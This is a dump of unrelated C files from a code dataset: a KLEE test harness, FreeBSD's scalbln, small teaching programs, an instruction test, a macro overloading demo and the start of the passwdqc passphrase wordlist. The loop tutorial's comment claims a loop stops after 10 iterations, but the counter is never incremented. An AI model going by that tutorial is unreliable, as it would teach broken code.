# 21 "/usr/include/_G_config.h" 2 3 4
typedef struct
{
__off_t __pos;
__mbstate_t __state;
} _G_fpos_t;
typedef struct
{
__off64_t __pos;
__mbstate_t __state;
} _G_fpos64_t;
# 53 "/usr/include/_G_config.h" 3 4
typedef int _G_int16_t __attribute__ ((__mode__ (__HI__)));
typedef int _G_int32_t __attribute__ ((__mode__ (__SI__)));
typedef unsigned int _G_uint16_t __attribute__ ((__mode__ (__HI__)));
typedef unsigned int _G_uint32_t __attribute__ ((__mode__ (__SI__)));
# 33 "/usr/include/libio.h" 2 3 4
# 53 "/usr/include/libio.h" 3 4
# 1 "/usr/lib/gcc/x86_64-linux-gnu/4.6/include/stdarg.h" 1 3 4
# 40 "/usr/lib/gcc/x86_64-linux-gnu/4.6/include/stdarg.h" 3 4
typedef __builtin_va_list __gnuc_va_list;
# 54 "/usr/include/libio.h" 2 3 4
# 172 "/usr/include/libio.h" 3 4
struct _IO_jump_t; struct _IO_FILE;
# 182 "/usr/include/libio.h" 3 4
typedef void _IO_lock_t;
struct _IO_marker {
struct _IO_marker *_next;
struct _IO_FILE *_sbuf;
int _pos;
# 205 "/usr/include/libio.h" 3 4
};
enum __codecvt_result
{
__codecvt_ok,
__codecvt_partial,
__codecvt_error,
__codecvt_noconv
};
# 273 "/usr/include/libio.h" 3 4
struct _IO_FILE {
int _flags;
char* _IO_read_ptr;
char* _IO_read_end;
char* _IO_read_base;
char* _IO_write_base;
char* _IO_write_ptr;
char* _IO_write_end;
char* _IO_buf_base;
char* _IO_buf_end;
char *_IO_save_base;
char *_IO_backup_base;
char *_IO_save_end;
struct _IO_marker *_markers;
struct _IO_FILE *_chain;
int _fileno;
int _flags2;
__off_t _old_offset;
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];
_IO_lock_t *_lock;
# 321 "/usr/include/libio.h" 3 4
__off64_t _offset;
# 330 "/usr/include/libio.h" 3 4
void *__pad1;
void *__pad2;
void *__pad3;
void *__pad4;
size_t __pad5;
int _mode;
char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)];
};
typedef struct _IO_FILE _IO_FILE;
struct _IO_FILE_plus;
extern struct _IO_FILE_plus _IO_2_1_stdin_;
extern struct _IO_FILE_plus _IO_2_1_stdout_;
extern struct _IO_FILE_plus _IO_2_1_stderr_;
# 366 "/usr/include/libio.h" 3 4
typedef __ssize_t __io_read_fn (void *__cookie, char *__buf, size_t __nbytes);
typedef __ssize_t __io_write_fn (void *__cookie, __const char *__buf,
size_t __n);
typedef int __io_seek_fn (void *__cookie, __off64_t *__pos, int __w);
typedef int __io_close_fn (void *__cookie);
# 418 "/usr/include/libio.h" 3 4
extern int __underflow (_IO_FILE *);
extern int __uflow (_IO_FILE *);
extern int __overflow (_IO_FILE *, int);
# 462 "/usr/include/libio.h" 3 4
extern int _IO_getc (_IO_FILE *__fp);
extern int _IO_putc (int __c, _IO_FILE *__fp);
extern int _IO_feof (_IO_FILE *__fp) __attribute__ ((__nothrow__ , __leaf__));
extern int _IO_ferror (_IO_FILE *__fp) __attribute__ ((__nothrow__ , __leaf__));
extern int _IO_peekc_locked (_IO_FILE *__fp);
extern void _IO_flockfile (_IO_FILE *) __attribute__ ((__nothrow__ , __leaf__));
extern void _IO_funlockfile (_IO_FILE *) __attribute__ ((__nothrow__ , __leaf__));
extern int _IO_ftrylockfile (_IO_FILE *) __attribute__ ((__nothrow__ , __leaf__));
# 492 "/usr/include/libio.h" 3 4
extern int _IO_vfscanf (_IO_FILE * __restrict, const char * __restrict,
__gnuc_va_list, int *__restrict);
extern int _IO_vfprintf (_IO_FILE *__restrict, const char *__restrict,
__gnuc_va_list);
extern __ssize_t _IO_padn (_IO_FILE *, int, __ssize_t);
extern size_t _IO_sgetn (_IO_FILE *, void *, size_t);
extern __off64_t _IO_seekoff (_IO_FILE *, __off64_t, int, int);
extern __off64_t _IO_seekpos (_IO_FILE *, __off64_t, int);
extern void _IO_free_backup_area (_IO_FILE *) __attribute__ ((__nothrow__ , __leaf__));
# 76 "/usr/include/stdio.h" 2 3 4
typedef __gnuc_va_list va_list;
# 109 "/usr/include/stdio.h" 3 4
typedef _G_fpos_t fpos_t;
# 165 "/usr/include/stdio.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/stdio_lim.h" 1 3 4
# 166 "/usr/include/stdio.h" 2 3 4
extern struct _IO_FILE *stdin;
extern struct _IO_FILE *stdout;
extern struct _IO_FILE *stderr;
extern int remove (__const char *__filename) __attribute__ ((__nothrow__ , __leaf__));
extern int rename (__const char *__old, __const char *__new) __attribute__ ((__nothrow__ , __leaf__));
extern int renameat (int __oldfd, __const char *__old, int __newfd,
__const char *__new) __attribute__ ((__nothrow__ , __leaf__));
extern FILE *tmpfile (void) ;
# 210 "/usr/include/stdio.h" 3 4
extern char *tmpnam (char *__s) __attribute__ ((__nothrow__ , __leaf__)) ;
extern char *tmpnam_r (char *__s) __attribute__ ((__nothrow__ , __leaf__)) ;
# 228 "/usr/include/stdio.h" 3 4
extern char *tempnam (__const char *__dir, __const char *__pfx)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__malloc__)) ;
extern int fclose (FILE *__stream);
extern int fflush (FILE *__stream);
# 253 "/usr/include/stdio.h" 3 4
extern int fflush_unlocked (FILE *__stream);
# 267 "/usr/include/stdio.h" 3 4
extern FILE *fopen (__const char *__restrict __filename,
__const char *__restrict __modes) ;
extern FILE *freopen (__const char *__restrict __filename,
__const char *__restrict __modes,
FILE *__restrict __stream) ;
# 296 "/usr/include/stdio.h" 3 4
# 307 "/usr/include/stdio.h" 3 4
extern FILE *fdopen (int __fd, __const char *__modes) __attribute__ ((__nothrow__ , __leaf__)) ;
# 320 "/usr/include/stdio.h" 3 4
extern FILE *fmemopen (void *__s, size_t __len, __const char *__modes)
__attribute__ ((__nothrow__ , __leaf__)) ;
extern FILE *open_memstream (char **__bufloc, size_t *__sizeloc) __attribute__ ((__nothrow__ , __leaf__)) ;
extern void setbuf (FILE *__restrict __stream, char *__restrict __buf) __attribute__ ((__nothrow__ , __leaf__));
extern int setvbuf (FILE *__restrict __stream, char *__restrict __buf,
int __modes, size_t __n) __attribute__ ((__nothrow__ , __leaf__));
extern void setbuffer (FILE *__restrict __stream, char *__restrict __buf,
size_t __size) __attribute__ ((__nothrow__ , __leaf__));
extern void setlinebuf (FILE *__stream) __attribute__ ((__nothrow__ , __leaf__));
extern int fprintf (FILE *__restrict __stream,
__const char *__restrict __format, ...);
extern int printf (__const char *__restrict __format, ...);
extern int sprintf (char *__restrict __s,
__const char *__restrict __format, ...) __attribute__ ((__nothrow__));
extern int vfprintf (FILE *__restrict __s, __const char *__restrict __format,
__gnuc_va_list __arg);
extern int vprintf (__const char *__restrict __format, __gnuc_va_list __arg);
extern int vsprintf (char *__restrict __s, __const char *__restrict __format,
__gnuc_va_list __arg) __attribute__ ((__nothrow__));
extern int snprintf (char *__restrict __s, size_t __maxlen,
__const char *__restrict __format, ...)
__attribute__ ((__nothrow__)) __attribute__ ((__format__ (__printf__, 3, 4)));
extern int vsnprintf (char *__restrict __s, size_t __maxlen,
__const char *__restrict __format, __gnuc_va_list __arg)
__attribute__ ((__nothrow__)) __attribute__ ((__format__ (__printf__, 3, 0)));
# 418 "/usr/include/stdio.h" 3 4
extern int vdprintf (int __fd, __const char *__restrict __fmt,
__gnuc_va_list __arg)
__attribute__ ((__format__ (__printf__, 2, 0)));
extern int dprintf (int __fd, __const char *__restrict __fmt, ...)
__attribute__ ((__format__ (__printf__, 2, 3)));
extern int fscanf (FILE *__restrict __stream,
__const char *__restrict __format, ...) ;
extern int scanf (__const char *__restrict __format, ...) ;
extern int sscanf (__const char *__restrict __s,
__const char *__restrict __format, ...) __attribute__ ((__nothrow__ , __leaf__));
# 449 "/usr/include/stdio.h" 3 4
extern int fscanf (FILE *__restrict __stream, __const char *__restrict __format, ...) __asm__ ("" "__isoc99_fscanf")
;
extern int scanf (__const char *__restrict __format, ...) __asm__ ("" "__isoc99_scanf")
;
extern int sscanf (__const char *__restrict __s, __const char *__restrict __format, ...) __asm__ ("" "__isoc99_sscanf") __attribute__ ((__nothrow__ , __leaf__))
;
# 469 "/usr/include/stdio.h" 3 4
extern int vfscanf (FILE *__restrict __s, __const char *__restrict __format,
__gnuc_va_list __arg)
__attribute__ ((__format__ (__scanf__, 2, 0))) ;
extern int vscanf (__const char *__restrict __format, __gnuc_va_list __arg)
__attribute__ ((__format__ (__scanf__, 1, 0))) ;
extern int vsscanf (__const char *__restrict __s,
__const char *__restrict __format, __gnuc_va_list __arg)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__format__ (__scanf__, 2, 0)));
# 500 "/usr/include/stdio.h" 3 4
extern int vfscanf (FILE *__restrict __s, __const char *__restrict __format, __gnuc_va_list __arg) __asm__ ("" "__isoc99_vfscanf")
__attribute__ ((__format__ (__scanf__, 2, 0))) ;
extern int vscanf (__const char *__restrict __format, __gnuc_va_list __arg) __asm__ ("" "__isoc99_vscanf")
__attribute__ ((__format__ (__scanf__, 1, 0))) ;
extern int vsscanf (__const char *__restrict __s, __const char *__restrict __format, __gnuc_va_list __arg) __asm__ ("" "__isoc99_vsscanf") __attribute__ ((__nothrow__ , __leaf__))
__attribute__ ((__format__ (__scanf__, 2, 0)));
# 528 "/usr/include/stdio.h" 3 4
extern int fgetc (FILE *__stream);
extern int getc (FILE *__stream);
extern int getchar (void);
# 556 "/usr/include/stdio.h" 3 4
extern int getc_unlocked (FILE *__stream);
extern int getchar_unlocked (void);
# 567 "/usr/include/stdio.h" 3 4
extern int fgetc_unlocked (FILE *__stream);
extern int fputc (int __c, FILE *__stream);
extern int putc (int __c, FILE *__stream);
extern int putchar (int __c);
# 600 "/usr/include/stdio.h" 3 4
extern int fputc_unlocked (int __c, FILE *__stream);
extern int putc_unlocked (int __c, FILE *__stream);
extern int putchar_unlocked (int __c);
extern int getw (FILE *__stream);
extern int putw (int __w, FILE *__stream);
extern char *fgets (char *__restrict __s, int __n, FILE *__restrict __stream)
;
extern char *gets (char *__s) ;
# 662 "/usr/include/stdio.h" 3 4
extern __ssize_t __getdelim (char **__restrict __lineptr,
size_t *__restrict __n, int __delimiter,
FILE *__restrict __stream) ;
extern __ssize_t getdelim (char **__restrict __lineptr,
size_t *__restrict __n, int __delimiter,
FILE *__restrict __stream) ;
extern __ssize_t getline (char **__restrict __lineptr,
size_t *__restrict __n,
FILE *__restrict __stream) ;
extern int fputs (__const char *__restrict __s, FILE *__restrict __stream);
extern int puts (__const char *__s);
extern int ungetc (int __c, FILE *__stream);
extern size_t fread (void *__restrict __ptr, size_t __size,
size_t __n, FILE *__restrict __stream) ;
extern size_t fwrite (__const void *__restrict __ptr, size_t __size,
size_t __n, FILE *__restrict __s);
# 734 "/usr/include/stdio.h" 3 4
extern size_t fread_unlocked (void *__restrict __ptr, size_t __size,
size_t __n, FILE *__restrict __stream) ;
extern size_t fwrite_unlocked (__const void *__restrict __ptr, size_t __size,
size_t __n, FILE *__restrict __stream);
extern int fseek (FILE *__stream, long int __off, int __whence);
extern long int ftell (FILE *__stream) ;
extern void rewind (FILE *__stream);
# 770 "/usr/include/stdio.h" 3 4
extern int fseeko (FILE *__stream, __off_t __off, int __whence);
extern __off_t ftello (FILE *__stream) ;
# 789 "/usr/include/stdio.h" 3 4
extern int fgetpos (FILE *__restrict __stream, fpos_t *__restrict __pos);
extern int fsetpos (FILE *__stream, __const fpos_t *__pos);
# 812 "/usr/include/stdio.h" 3 4
# 821 "/usr/include/stdio.h" 3 4
extern void clearerr (FILE *__stream) __attribute__ ((__nothrow__ , __leaf__));
extern int feof (FILE *__stream) __attribute__ ((__nothrow__ , __leaf__)) ;
extern int ferror (FILE *__stream) __attribute__ ((__nothrow__ , __leaf__)) ;
extern void clearerr_unlocked (FILE *__stream) __attribute__ ((__nothrow__ , __leaf__));
extern int feof_unlocked (FILE *__stream) __attribute__ ((__nothrow__ , __leaf__)) ;
extern int ferror_unlocked (FILE *__stream) __attribute__ ((__nothrow__ , __leaf__)) ;
extern void perror (__const char *__s);
# 1 "/usr/include/x86_64-linux-gnu/bits/sys_errlist.h" 1 3 4
# 27 "/usr/include/x86_64-linux-gnu/bits/sys_errlist.h" 3 4
extern int sys_nerr;
extern __const char *__const sys_errlist[];
# 851 "/usr/include/stdio.h" 2 3 4
extern int fileno (FILE *__stream) __attribute__ ((__nothrow__ , __leaf__)) ;
extern int fileno_unlocked (FILE *__stream) __attribute__ ((__nothrow__ , __leaf__)) ;
# 870 "/usr/include/stdio.h" 3 4
extern FILE *popen (__const char *__command, __const char *__modes) ;
extern int pclose (FILE *__stream);
extern char *ctermid (char *__s) __attribute__ ((__nothrow__ , __leaf__));
# 910 "/usr/include/stdio.h" 3 4
extern void flockfile (FILE *__stream) __attribute__ ((__nothrow__ , __leaf__));
extern int ftrylockfile (FILE *__stream) __attribute__ ((__nothrow__ , __leaf__)) ;
extern void funlockfile (FILE *__stream) __attribute__ ((__nothrow__ , __leaf__));
# 940 "/usr/include/stdio.h" 3 4
# 3 "get/getsrc/get_signe3.c" 2
typedef struct {
# 3 "get/getsrc/get_signe3.c"
int x;
# 4 "get/getsrc/get_signe3.c"
} Hoge;
# 5 "get/getsrc/get_signe3.c"
Hoge hoge = {
# 6 "get/getsrc/get_signe3.c"
.x = 0
};
# 8 "get/getsrc/get_signe3.c"
typedef unsigned long int UINT4 ;
# 10 "get/getsrc/get_signe3.c"
void func(UINT4 output, unsigned char *input){
# 11 "get/getsrc/get_signe3.c"
if(input != ((void *)0))
# 12 "get/getsrc/get_signe3.c"
output = (UINT4)input[0];
# 13 "get/getsrc/get_signe3.c"
}
# 14 "get/getsrc/get_signe3.c"
int get_sign(int x) {
# 18 "get/getsrc/get_signe3.c"
int z = 0;
# 20 "get/getsrc/get_signe3.c"
printf("/var/log""/hoge.log");
# 21 "get/getsrc/get_signe3.c"
if (x == 0)
# 23 "get/getsrc/get_signe3.c"
return 0;
# 24 "get/getsrc/get_signe3.c"
if (x < 0)
# 26 "get/getsrc/get_signe3.c"
return -1;
# 27 "get/getsrc/get_signe3.c"
else
return 1;
# 29 "get/getsrc/get_signe3.c"
}
# 30 "get/getsrc/get_signe3.c"
# 1 "get/getsrc/get_signe3.c"
void occf_exit(){
# 1 "get/getsrc/get_signe3.c"
char *occftmp = getenv("KTEST_FILE");
# 1 "get/getsrc/get_signe3.c"
FILE *occffile = fopen("/home/washizaki-lab/work/klee/examples/Release/get/.successful_tests", "a");
# 1 "get/getsrc/get_signe3.c"
fputs(occftmp, occffile);
# 1 "get/getsrc/get_signe3.c"
fputc('\n', occffile);
# 1 "get/getsrc/get_signe3.c"
fclose(occffile);
# 1 "get/getsrc/get_signe3.c"
}
# 1 "get/getsrc/get_signe3.c"
int main() {
# 32 "get/getsrc/get_signe3.c"
int a;
# 33 "get/getsrc/get_signe3.c"
# 1 "get/getsrc/get_signe3.c"
atexit(occf_exit);
# 1 "get/getsrc/get_signe3.c"
klee_make_symbolic(&a, sizeof(a), "a");
# 34 "get/getsrc/get_signe3.c"
return get_sign(a);
# 36 "get/getsrc/get_signe3.c"
}
# 37 "get/getsrc/get_signe3.c"
|
the_stack_data/127328.c | /*-
* Copyright (c) 2004 David Schultz <[email protected]>
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*
* $FreeBSD: head/lib/msun/src/s_scalbln.c 143219 2005-03-07 04:57:50Z das $
*/
#include <limits.h>
#include <math.h>
double
scalbln (double x, long n)
{
int in;
in = (int)n;
if (in != n) {
if (n > 0)
in = INT_MAX;
else
in = INT_MIN;
}
return (scalbn(x, in));
}
float
scalblnf (float x, long n)
{
int in;
in = (int)n;
if (in != n) {
if (n > 0)
in = INT_MAX;
else
in = INT_MIN;
}
return (scalbnf(x, in));
}
long double
scalblnl (long double x, long n)
{
int in;
in = (int)n;
if (in != n) {
if (n > 0)
in = INT_MAX;
else
in = INT_MIN;
}
return (scalbnl(x, (int)n));
}
|
the_stack_data/73576208.c | #include <stdio.h>
#include <math.h>
#include <locale.h>
int isPrimeNum(int number)
{
int root = sqrt(number);
for (int i = 2; i < root + 1; i++)
{
if (number % i == 0)
return 0;
}
return 1;
}
int main()
{
setlocale(LC_ALL, "Rus");
int number = 0;
printf("Введите число: ");
scanf("%i", &number);
for (int i = 2; i <= number; i++)
{
if (isPrimeNum(i))
{
printf("%i\n", i);
}
}
} |
the_stack_data/61815.c | #include <stdio.h>
int main(){
int n = 0;
while (n < 10){
printf("%d\n", n);
n++;
}
/* Loop directives:
There are 2 of them - break and continue
They work the same as they do in other languages */
int i = 0;
while (1){
printf("%d\n", i);
if (i == 10){
break; // will stop after 10 iterations, even though while loop condition is true
}
}
i = 0;
while (i < 10){
i++;
if (i % 2 == 1){
continue; // Will skip all odd numbers
}
printf("%d is even", i);
}
/* C doesn't have true or false, instead, anything that is non-zero will evaluate
to true */
i = 0;
while (1){ // This is the same as a "while true" loop
printf("Infinite Loop number %d\n", i);
i++;
}
} |
the_stack_data/50137723.c | //file: _insn_test_shl16insli_X1.c
//op=189
#include <stdio.h>
#include <stdlib.h>
void func_exit(void) {
printf("%s\n", __func__);
exit(0);
}
void func_call(void) {
printf("%s\n", __func__);
exit(0);
}
unsigned long mem[2] = { 0x842f1ff3b535c0ff, 0xb4e168d3b1d1a300 };
int main(void) {
unsigned long a[4] = { 0, 0 };
asm __volatile__ (
"moveli r29, -11895\n"
"shl16insli r29, r29, 21718\n"
"shl16insli r29, r29, -14088\n"
"shl16insli r29, r29, -5322\n"
"moveli r27, -18517\n"
"shl16insli r27, r27, 12387\n"
"shl16insli r27, r27, 27111\n"
"shl16insli r27, r27, 15808\n"
"{ fnop ; shl16insli r29, r27, -27202 }\n"
"move %0, r29\n"
"move %1, r27\n"
:"=r"(a[0]),"=r"(a[1]));
printf("%016lx\n", a[0]);
printf("%016lx\n", a[1]);
return 0;
}
|
the_stack_data/102876.c | /*
* Core/copyright.c
* Copyright of this database project
* @author Elio Yang
* @email [email protected]
* @date 2021/2/9
*/
|
the_stack_data/107952132.c | /* Attempt at function overloading in C, inspired by
* https://gustedt.wordpress.com/2010/06/03/default-arguments-for-c99/
*
* The following magic creates two functions with the same name and
* different input arguments:
*
* void print(char *str);
* void print(char *str, FILE *fp);
*
* Enjoy this example under the public domain, worldwide through the
* CC0 1.0 Universal public domain dedication.
*/
#include <stdio.h>
#define _ARG2(_0, _1, _2, ...) _2
#define NARG2(...) _ARG2(__VA_ARGS__, 2, 1, 0)
#define _PRINT_ARGS_1(fn, str) str, fn ## _default_fp()
#define _PRINT_ARGS_2(fn, str, fp) str, fp
#define __PRINT_ARGS(fn, N, ...) _PRINT_ARGS_ ## N (fn, __VA_ARGS__)
#define _PRINT_ARGS(fn, N, ...) __PRINT_ARGS(fn, N, __VA_ARGS__)
#define PRINT_ARGS(fn, ...) fn(_PRINT_ARGS(fn, NARG2(__VA_ARGS__), __VA_ARGS__))
#define print(...) PRINT_ARGS(out, __VA_ARGS__)
static FILE *out_default_fp(void) { return stdout; }
static void out(char *str, FILE *fp) { (void)fputs((const char *)str, fp); }
int main(void)
{
print("Hello\n");
print("Hello\n", stderr);
return 0;
}
/**
* Local Variables:
* compile-command: "gcc -W -Wall -o overload overload.c; ./overload; rm overload"
* version-control: t
* indent-tabs-mode: t
* c-file-style: "linux"
* End:
*/
|
the_stack_data/204755.c | #include<stdio.h>
int main(){
int i,n,pos=0;
printf("Enter the size of the array: ");
scanf("%d",&n);
int arr[n];
printf("Enter the Array Elements\n");
for(i=0;i<n;i++)
scanf("%d",&arr[i]);
printf("The Sorted 0 and 1 array is:\n");
for(i=0;i<n;i++){
if(arr[i]==0){
arr[i]=arr[pos];
arr[pos]=0;
pos+=1;
}
}
for(i=0;i<n;i++)
printf("%d ",arr[i]);
return 0;
}
|
the_stack_data/104827442.c | /*
* 4096 English words for generation of easy to memorize random passphrases.
* This list comes from a passphrase generator mentioned on sci.crypt, and I
* believe is in the public domain.
*
* I've replaced two 7-character words to save space.
*/
char _passwdqc_wordset_4k[0x1000][6] = {
"Adam",
"Afghan",
"Alaska",
"Alice",
"Allah",
"Amazon",
"Andrew",
"Anglo",
"Angola",
"Antony",
"April",
"Arab",
"Arctic",
"Athens",
"Austin",
"Bach",
"Baltic",
"Basque",
"Berlin",
"Bible",
"Bombay",
"Bonn",
"Boston",
"Brazil",
"Briton",
"Buddha",
"Burma",
"Caesar",
"Cairo",
"Canada",
"Carl",
"Carol",
"Celtic",
"Chile",
"China",
"Christ",
"Congo",
"Cuba",
"Cyprus",
"Czech",
"Dallas",
"Danish",
"Darwin",
"David",
"Delhi",
"Derby",
"Diana",
"Dublin",
"Dutch",
"East",
"Eden",
"Edward",
"Eric",
"Essex",
"Europe",
"Eve",
"Exodus",
"France",
"French",
"Friday",
"Gandhi",
"Gaul",
"Gemini",
"Geneva",
"George",
"German",
"Gloria",
"God",
"Gothic",
"Greece",
"Greek",
"Hague",
"Haiti",
"Hanoi",
"Harry",
"Havana",
"Hawaii",
"Hebrew",
"Henry",
"Hermes",
"Hindu",
"Hitler",
"Idaho",
"Inca",
"India",
"Indian",
"Iowa",
"Iran",
"Iraq",
"Irish",
"Isaac",
"Isabel",
"Islam",
"Israel",
"Italy",
"Ivan",
"Jack",
"Jacob",
"James",
"Japan",
"Java",
"Jersey",
"Jesus",
"Jewish",
"Jim",
"John",
"Jordan",
"Joseph",
"Judas",
"Judy",
"July",
"June",
"Kansas",
"Karl",
"Kenya",
"Koran",
"Korea",
"Kuwait",
"Laos",
"Latin",
"Leo",
"Libya",
"Lima",
"Lisbon",
"Liz",
"London",
"Louvre",
"Lucy",
"Luther",
"Madame",
"Madrid",
"Malta",
"Maria",
"Mars",
"Mary",
"Maya",
"Mecca",
"Mexico",
"Miami",
"Mickey",
"Milan",
"Monaco",
"Monday",
"Moscow",
"Moses",
"Moslem",
"Mrs",
"Munich",
"Muslim",
"Naples",
"Nazi",
"Nepal",
"Newark",
"Nile",
"Nobel",
"North",
"Norway",
"Ohio",
"Oscar",
"Oslo",
"Oxford",
"Panama",
"Paris",
"Pascal",
"Paul",
"Peking",
"Peru",
"Peter",
"Philip",
"Poland",
"Polish",
"Prague",
"Quebec",
"Rex",
"Rhine",
"Ritz",
"Robert",
"Roman",
"Rome",
"Rosa",
"Russia",
"Sahara",
"Sam",
"Saturn",
"Saudi",
"Saxon",
"Scot",
"Seoul",
"Somali",
"Sony",
"Soviet",
"Spain",
"Stalin",
"Sudan",
"Suez",
"Sunday",
"Sweden",
"Swiss",
"Sydney",
"Syria",
"Taiwan",
"Tarzan",
"Taurus",
"Tehran",
"Teresa",
"Texas",
"Thomas",
"Tibet",
"Tokyo",
"Tom",
"Turk",
"Turkey",
"Uganda",
"Venice",
"Venus",
"Vienna",
"Viking",
"Virgo",
"Warsaw",
"West",
"Yale",
"Yemen",
"York",
"Zaire",
"Zurich",
"aback",
"abbey",
"abbot",
"abide",
"ablaze",
"able",
"aboard",
"abode",
"abort",
"abound",
"about",
"above",
"abroad",
"abrupt",
"absent",
"absorb",
"absurd",
"abuse",
"accent",
"accept",
"access",
"accord",
"accuse",
"ace",
"ache",
"aching",
"acid",
"acidic",
"acorn",
"acre",
"across",
"act",
"action",
"active",
"actor",
"actual",
"acute",
"adapt",
"add",
"added",
"addict",
"adept",
"adhere",
"adjust",
"admire",
"admit",
"adobe",
"adopt",
"adrift",
"adult",
"adverb",
"advert",
"aerial",
"afar",
"affair",
"affect",
"afford",
"afield",
"afloat",
"afraid",
"afresh",
"after",
"again",
"age",
"agency",
"agenda",
"agent",
"aghast",
"agile",
"ago",
"agony",
"agree",
"agreed",
"ahead",
"aid",
"aide",
"aim",
"air",
"airman",
"airy",
"akin",
"alarm",
"albeit",
"album",
"alert",
"alibi",
"alien",
"alight",
"align",
"alike",
"alive",
"alkali",
"all",
"alley",
"allied",
"allow",
"alloy",
"ally",
"almond",
"almost",
"aloft",
"alone",
"along",
"aloof",
"aloud",
"alpha",
"alpine",
"also",
"altar",
"alter",
"always",
"amaze",
"amber",
"ambush",
"amen",
"amend",
"amid",
"amidst",
"amiss",
"among",
"amount",
"ample",
"amuse",
"anchor",
"and",
"anew",
"angel",
"anger",
"angle",
"angry",
"animal",
"ankle",
"annoy",
"annual",
"answer",
"anthem",
"anti",
"any",
"anyhow",
"anyway",
"apart",
"apathy",
"apex",
"apiece",
"appeal",
"appear",
"apple",
"apply",
"apron",
"arcade",
"arcane",
"arch",
"ardent",
"are",
"area",
"argue",
"arid",
"arise",
"arm",
"armful",
"armpit",
"army",
"aroma",
"around",
"arouse",
"array",
"arrest",
"arrive",
"arrow",
"arson",
"art",
"artery",
"artful",
"artist",
"ascent",
"ashen",
"ashore",
"aside",
"ask",
"asleep",
"aspect",
"assay",
"assent",
"assert",
"assess",
"asset",
"assign",
"assist",
"assume",
"assure",
"asthma",
"astute",
"asylum",
"ate",
"atlas",
"atom",
"atomic",
"attach",
"attack",
"attain",
"attend",
"attic",
"auburn",
"audio",
"audit",
"august",
"aunt",
"auntie",
"aura",
"author",
"auto",
"autumn",
"avail",
"avenge",
"avenue",
"avert",
"avid",
"avoid",
"await",
"awake",
"awaken",
"award",
"aware",
"awash",
"away",
"awful",
"awhile",
"axes",
"axiom",
"axis",
"axle",
"aye",
"babe",
"baby",
"back",
"backup",
"bacon",
"bad",
"badge",
"badly",
"bag",
"baggy",
"bail",
"bait",
"bake",
"baker",
"bakery",
"bald",
"ball",
"ballad",
"ballet",
"ballot",
"bamboo",
"ban",
"banal",
"banana",
"band",
"bang",
"bank",
"bar",
"barber",
"bare",
"barely",
"barge",
"bark",
"barley",
"barn",
"baron",
"barrel",
"barren",
"basalt",
"base",
"basic",
"basil",
"basin",
"basis",
"basket",
"bass",
"bat",
"batch",
"bath",
"baton",
"battle",
"bay",
"beach",
"beacon",
"beak",
"beam",
"bean",
"bear",
"beard",
"beast",
"beat",
"beauty",
"become",
"bed",
"beech",
"beef",
"beefy",
"beep",
"beer",
"beet",
"beetle",
"before",
"beggar",
"begin",
"behalf",
"behave",
"behind",
"beige",
"being",
"belief",
"bell",
"belly",
"belong",
"below",
"belt",
"bench",
"bend",
"benign",
"bent",
"berry",
"berth",
"beset",
"beside",
"best",
"bestow",
"bet",
"beta",
"betray",
"better",
"beware",
"beyond",
"bias",
"biceps",
"bicker",
"bid",
"big",
"bigger",
"bike",
"bile",
"bill",
"binary",
"bind",
"biopsy",
"birch",
"bird",
"birdie",
"birth",
"bishop",
"bit",
"bitch",
"bite",
"bitter",
"black",
"blade",
"blame",
"bland",
"blast",
"blaze",
"bleak",
"blend",
"bless",
"blew",
"blind",
"blink",
"blip",
"bliss",
"blitz",
"block",
"blond",
"blood",
"bloody",
"bloom",
"blot",
"blouse",
"blow",
"blue",
"bluff",
"blunt",
"blur",
"blush",
"boar",
"board",
"boast",
"boat",
"bodily",
"body",
"bogus",
"boil",
"bold",
"bolt",
"bomb",
"bond",
"bone",
"bonnet",
"bonus",
"bony",
"book",
"boom",
"boost",
"boot",
"booth",
"booze",
"border",
"bore",
"borrow",
"bosom",
"boss",
"both",
"bother",
"bottle",
"bottom",
"bought",
"bounce",
"bound",
"bounty",
"bout",
"bovine",
"bow",
"bowel",
"bowl",
"box",
"boy",
"boyish",
"brace",
"brain",
"brainy",
"brake",
"bran",
"branch",
"brand",
"brandy",
"brass",
"brave",
"bravo",
"breach",
"bread",
"break",
"breast",
"breath",
"bred",
"breed",
"breeze",
"brew",
"brick",
"bride",
"bridge",
"brief",
"bright",
"brim",
"brine",
"bring",
"brink",
"brisk",
"broad",
"broke",
"broken",
"bronze",
"brook",
"broom",
"brown",
"bruise",
"brush",
"brutal",
"brute",
"bubble",
"buck",
"bucket",
"buckle",
"budget",
"buffet",
"buggy",
"build",
"bulb",
"bulge",
"bulk",
"bulky",
"bull",
"bullet",
"bully",
"bump",
"bumpy",
"bunch",
"bundle",
"bunk",
"bunny",
"burden",
"bureau",
"burial",
"buried",
"burly",
"burn",
"burnt",
"burrow",
"burst",
"bury",
"bus",
"bush",
"bust",
"bustle",
"busy",
"but",
"butler",
"butt",
"butter",
"button",
"buy",
"buyer",
"buzz",
"bye",
"byte",
"cab",
"cabin",
"cable",
"cache",
"cactus",
"cage",
"cake",
"calf",
"call",
"caller",
"calm",
"calmly",
"came",
"camel",
"camera",
"camp",
"campus",
"can",
"canal",
"canary",
